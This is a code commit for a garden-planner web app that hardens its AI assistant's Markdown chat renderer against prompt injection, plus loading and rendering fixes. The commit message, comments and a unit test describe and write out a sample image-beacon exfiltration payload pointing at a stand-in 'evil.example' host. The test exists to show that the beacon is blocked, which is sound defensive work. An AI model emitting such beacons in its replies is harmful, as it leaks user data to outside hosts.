Harden the assistant Markdown renderer (review fixes)

Address the Gadfly review of #118:

- Forbid <img> (`disallowedElements`): a prompt-injected reply could embed
  `![](https://evil/?leak=…)`, which the browser auto-fetches — a data
  exfiltration beacon. The assistant has no reason to emit images. Tested.
- Give the lazy Markdown chunk the same stale-chunk recovery the routes get:
  extract `lazyPage` to its own module and use it in ChatPanel, so a post-deploy
  404 doesn't permanently break the assistant. `lazyPage` now preserves the
  component's prop type instead of erasing to `{}`.
- Wrap the renderer in an error boundary that falls back to the raw text, so a
  chunk that can't load (or a renderer that throws) degrades to readable text
  rather than taking the editor down.
- Memoize MarkdownMessage and hoist its plugin/regex constants so typing in the
  composer doesn't re-parse every message in the thread.
- Correctness: detect fenced code with no info-string (newline check, not just
  the language- class); pass `start` through on ordered lists; pass GFM column
  alignment (`style`) through on th/td instead of hardcoding left; de-dup the
  heading renderers and style all six levels.
- Disable "Start over" while a turn is in flight — clearing mid-turn raced the
  in-flight stream.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ

web/src/editor/ChatPanel.tsx

@@ -1,4 +1,4 @@
-import { Suspense, lazy, useEffect, useRef, useState, type ReactNode } from 'react'
+import { Component, Suspense, useEffect, useRef, useState, type ReactNode } from 'react'
 import { Alert } from '@/components/ui/Alert'
 import { errorMessage } from '@/lib/api'
 import { Button } from '@/components/ui/Button'
@@ -14,13 +14,30 @@ import {
   type AgentTurn,
 } from '@/lib/agent'
 import { useUndo } from '@/lib/history'
+import { lazyPage } from '@/lib/lazyPage'
 import { UndoButton } from './UndoButton'
 
 // Lazy so the markdown renderer + its ecosystem (~150 KB) loads only when an
 // assistant message actually renders, not for everyone who opens the editor.
-const MarkdownMessage = lazy(() =>
-  import('./MarkdownMessage').then((m) => ({ default: m.MarkdownMessage })),
-)
+// lazyPage adds the stale-chunk recovery a plain lazy() lacks — a post-deploy
+// chunk 404 would otherwise permanently break the assistant.
+const MarkdownMessage = lazyPage(() => import('./MarkdownMessage'), 'MarkdownMessage')
+
+/**
+ * Falls back to the raw message text if the markdown chunk can't load (a
+ * non-recoverable 404) or the renderer throws — a garbled reply should degrade to
+ * readable text, never take the whole editor down. Suspense handles the loading
+ * phase; this handles the failure one.
+ */
+class MarkdownBoundary extends Component<{ fallback: ReactNode; children: ReactNode }, { failed: boolean }> {
+  state = { failed: false }
+  static getDerivedStateFromError() {
+    return { failed: true }
+  }
+  render() {
+    return this.state.failed ? this.props.fallback : this.props.children
+  }
+}
 
 /**
  * Talk to the garden assistant, in the editor beside the canvas.
@@ -112,8 +129,8 @@ export function ChatPanel({ gardenId, canEdit }: { gardenId: number; canEdit: bo
                 onError: (err) => setError(errorMessage(err, "Couldn't clear the conversation.")),
               })
             }
-            disabled={clear.isPending}
-            className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
+            disabled={clear.isPending || !!pending}
+            className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40 disabled:opacity-50"
           >
             Start over
           </button>
@@ -245,11 +262,14 @@ function Bubble({
         {mine ? (
           body
         ) : (
-          // Show the raw text until the renderer chunk arrives, so a message never
-          // flashes blank.
-          <Suspense fallback={<span className="whitespace-pre-wrap">{body}</span>}>
-            <MarkdownMessage>{body}</MarkdownMessage>
-          </Suspense>
+          // Show the raw text until the renderer chunk arrives (Suspense), and fall
+          // back to it if the chunk can't load or the renderer throws (boundary) —
+          // either way the message is readable, never blank and never a crash.
+          <MarkdownBoundary fallback={<span className="whitespace-pre-wrap">{body}</span>}>
+            <Suspense fallback={<span className="whitespace-pre-wrap">{body}</span>}>
+              <MarkdownMessage>{body}</MarkdownMessage>
+            </Suspense>
+          </MarkdownBoundary>
         )}
       </div>
       {children}

web/src/editor/MarkdownMessage.test.tsx

@@ -39,4 +39,22 @@ describe('MarkdownMessage', () => {
     expect(html).toContain('href="https://example.com"')
     expect(html).toContain('rel="noopener noreferrer"')
   })
+
+  it('does not render images (no auto-loading exfiltration beacon)', () => {
+    // A prompt-injected reply could embed `![](https://evil/?leak=…)`; the browser
+    // would auto-fetch it, leaking that the message was viewed (and anything smuggled
+    // into the URL). We forbid <img> entirely, so the beacon never fires.
+    const html = render('before ![pixel](https://evil.example/leak?data=secret) after')
+    expect(html).not.toContain('<img')
+    expect(html).not.toContain('evil.example')
+    // Surrounding prose still renders.
+    expect(html).toContain('before')
+    expect(html).toContain('after')
+  })
+
+  it('honours GFM column alignment', () => {
+    const html = render('| L | C | R |\n| :-- | :--: | --: |\n| a | b | c |')
+    expect(html).toContain('text-align:center')
+    expect(html).toContain('text-align:right')
+  })
 })

web/src/editor/MarkdownMessage.tsx

@@ -1,13 +1,31 @@
+import { memo, type ReactNode } from 'react'
 import ReactMarkdown, { type Components } from 'react-markdown'
 import remarkGfm from 'remark-gfm'
 
-// The assistant answers in Markdown — including GFM tables — so render it as such
-// instead of showing the raw source. react-markdown does NOT emit raw HTML (no
-// rehype-raw), so an LLM reply can't inject markup; remark-gfm adds tables,
-// strikethrough and task lists. Tailwind's reset strips default list/table
-// styling, so every element the assistant actually uses is restyled here, scaled
-// for a chat bubble. Wide content (tables, code) scrolls inside its own box so
-// the bubble never blows out.
+// Hoisted so they're not re-created every render (which would defeat both React's
+// and ReactMarkdown's memoization).
+const remarkPlugins = [remarkGfm]
+const CODE_BLOCK = /language-/
+
+// The assistant's replies are never trusted markup: their content can be steered
+// by anything the agent read (a shared garden's notes, a seed vendor page). So we
+// render Markdown but NOT raw HTML (no rehype-raw), and — belt to that — forbid
+// <img>, whose auto-loading `src` is a prompt-injection exfiltration beacon
+// (`![](https://evil/?leak=…)`); the assistant has no reason to emit images.
+const disallowedElements = ['img']
+
+// Tailwind's reset strips default list/table styling, so every element the
+// assistant actually uses is restyled here, scaled for a chat bubble. Wide
+// content (tables, code) scrolls in its own box so the bubble never blows out.
+const bigHeading = ({ children }: { children?: ReactNode }) => (
+  <h4 className="mb-1 mt-2 text-sm font-semibold first:mt-0">{children}</h4>
+)
+const smallHeading = ({ children }: { children?: ReactNode }) => (
+  <h5 className="mb-1 mt-1.5 text-xs font-semibold uppercase tracking-wide text-muted first:mt-0">
+    {children}
+  </h5>
+)
+
 const components: Components = {
   p: ({ children }) => <p className="my-1.5 first:mt-0 last:mb-0">{children}</p>,
   a: ({ href, children }) => (
@@ -21,26 +39,31 @@ const components: Components = {
     </a>
   ),
   ul: ({ children }) => <ul className="my-1.5 list-disc pl-5">{children}</ul>,
-  ol: ({ children }) => <ol className="my-1.5 list-decimal pl-5">{children}</ol>,
+  ol: ({ children, start }) => (
+    <ol start={start} className="my-1.5 list-decimal pl-5">
+      {children}
+    </ol>
+  ),
   li: ({ children }) => <li className="my-0.5">{children}</li>,
   strong: ({ children }) => <strong className="font-semibold">{children}</strong>,
   em: ({ children }) => <em className="italic">{children}</em>,
-  h1: ({ children }) => <h3 className="mb-1 mt-2 text-sm font-semibold first:mt-0">{children}</h3>,
-  h2: ({ children }) => <h3 className="mb-1 mt-2 text-sm font-semibold first:mt-0">{children}</h3>,
-  h3: ({ children }) => <h4 className="mb-1 mt-2 text-sm font-semibold first:mt-0">{children}</h4>,
-  h4: ({ children }) => (
-    <h5 className="mb-1 mt-1.5 text-xs font-semibold uppercase tracking-wide text-muted first:mt-0">
-      {children}
-    </h5>
-  ),
+  h1: bigHeading,
+  h2: bigHeading,
+  h3: bigHeading,
+  h4: smallHeading,
+  h5: smallHeading,
+  h6: smallHeading,
   blockquote: ({ children }) => (
     <blockquote className="my-1.5 border-l-2 border-border pl-2 text-muted">{children}</blockquote>
   ),
   hr: () => <hr className="my-2 border-border" />,
   code: ({ className, children }) => {
-    // A fenced block carries a language- class and is wrapped by <pre> (styled
-    // below); inline code is a bare <code> and gets the pill treatment here.
-    if (/language-/.test(className ?? '')) return <code className={className}>{children}</code>
+    // A fenced block is wrapped by <pre> (styled below) and carries either a
+    // language- class or a trailing newline; inline code is a single-line bare
+    // <code> and gets the pill treatment. (The newline check catches fences with
+    // no info-string, which have no language- class.)
+    const isBlock = CODE_BLOCK.test(className ?? '') || String(children).includes('\n')
+    if (isBlock) return <code className={className}>{children}</code>
     return (
       <code className="rounded bg-border/60 px-1 py-0.5 font-mono text-[0.85em]">{children}</code>
     )
@@ -55,19 +78,32 @@ const components: Components = {
       <table className="w-full border-collapse text-xs">{children}</table>
     </div>
   ),
-  th: ({ children }) => (
-    <th className="border border-border px-2 py-1 text-left font-semibold">{children}</th>
+  // Pass `style` through: GFM column alignment (`:---:` / `---:`) arrives as
+  // style.textAlign, and dropping it would silently discard it.
+  th: ({ children, style }) => (
+    <th style={style} className="border border-border px-2 py-1 font-semibold">
+      {children}
+    </th>
+  ),
+  td: ({ children, style }) => (
+    <td style={style} className="border border-border px-2 py-1 align-top">
+      {children}
+    </td>
   ),
-  td: ({ children }) => <td className="border border-border px-2 py-1 align-top">{children}</td>,
 }
 
-/** Render one assistant message body as Markdown (GFM). */
-export function MarkdownMessage({ children }: { children: string }) {
+/** Render one assistant message body as Markdown (GFM). Memoized so typing in the
+ *  composer doesn't re-parse every message in the thread. */
+export const MarkdownMessage = memo(function MarkdownMessage({ children }: { children: string }) {
   return (
     <div className="leading-relaxed">
-      <ReactMarkdown remarkPlugins={[remarkGfm]} components={components}>
+      <ReactMarkdown
+        remarkPlugins={remarkPlugins}
+        disallowedElements={disallowedElements}
+        components={components}
+      >
         {children}
       </ReactMarkdown>
     </div>
   )
-}
+})

web/src/lib/lazyPage.ts

@@ -0,0 +1,41 @@
+import { lazy, type ComponentType } from 'react'
+
+/**
+ * Lazily load a component by its named export, with recovery for the stale-chunk
+ * problem. A push to main redeploys, so a still-open app references chunk hashes
+ * the server has just replaced; that import 404s and React.lazy MEMOIZES the
+ * rejection, so a "Try again" can never recover — the user is stuck until a manual
+ * hard reload. On the first such failure we reload once (fetching the fresh index
+ * + hashes); a session flag stops a reload loop, and a success clears it so a
+ * later genuine failure can reload again.
+ *
+ * Shared by the route splits (router.tsx) and any feature-level lazy load (the
+ * assistant's Markdown renderer), so they all get the same recovery.
+ */
+export function lazyPage<M, K extends keyof M>(load: () => Promise<M>, name: K) {
+  // Preserve the component's own prop type so callers keep type-checked props
+  // (e.g. MarkdownMessage's `children: string`), rather than erasing to `{}`.
+  type C = M[K] extends ComponentType<infer P> ? ComponentType<P> : never
+  return lazy<C>(async () => {
+    try {
+      const mod = await load()
+      try {
+        sessionStorage.removeItem('pansy:chunk-reload')
+      } catch {
+        /* storage unavailable — fine */
+      }
+      return { default: mod[name] as C }
+    } catch (err) {
+      try {
+        if (!sessionStorage.getItem('pansy:chunk-reload')) {
+          sessionStorage.setItem('pansy:chunk-reload', '1')
+          window.location.reload()
+          return await new Promise<{ default: C }>(() => {}) // hold for the reload
+        }
+      } catch {
+        /* storage unavailable — fall through to surface the error */
+      }
+      throw err // already reloaded once (or can't); let the error boundary show it
+    }
+  })
+}

web/src/router.tsx

@@ -1,4 +1,3 @@
-import { lazy, type ComponentType } from 'react'
 import {
   createRootRouteWithContext,
   createRoute,
@@ -15,38 +14,7 @@ import { meQueryOptions } from '@/lib/auth'
 import { queryClient } from '@/lib/queryClient'
 import { safeRedirectPath } from '@/lib/redirect'
 import { getLastGardenId } from '@/lib/lastGarden'
-
-// Lazily load a page by its named export, with recovery for the stale-chunk
-// problem. A push to main redeploys, so a still-open app references chunk hashes
-// the server has just replaced; that import 404s and React.lazy MEMOIZES the
-// rejection, so RouteError's "Try again" (router.invalidate) can never recover —
-// the user is stuck until a manual hard reload. On the first such failure we
-// reload once (fetching the fresh index + hashes); a session flag stops a reload
-// loop, and a success clears it so a later genuine failure can reload again.
-function lazyPage<M, K extends keyof M>(load: () => Promise<M>, name: K) {
-  return lazy(async () => {
-    try {
-      const mod = await load()
-      try {
-        sessionStorage.removeItem('pansy:chunk-reload')
-      } catch {
-        /* storage unavailable — fine */
-      }
-      return { default: mod[name] as ComponentType }
-    } catch (err) {
-      try {
-        if (!sessionStorage.getItem('pansy:chunk-reload')) {
-          sessionStorage.setItem('pansy:chunk-reload', '1')
-          window.location.reload()
-          return await new Promise<{ default: ComponentType }>(() => {}) // hold for the reload
-        }
-      } catch {
-        /* storage unavailable — fall through to surface the error */
-      }
-      throw err // already reloaded once (or can't); let the error boundary show it
-    }
-  })
-}
+import { lazyPage } from '@/lib/lazyPage'
 
 // Code-split the heavier / deeper routes so a phone on cell data doesn't download
 // the whole app (notably the canvas editor with its gesture + geometry deps)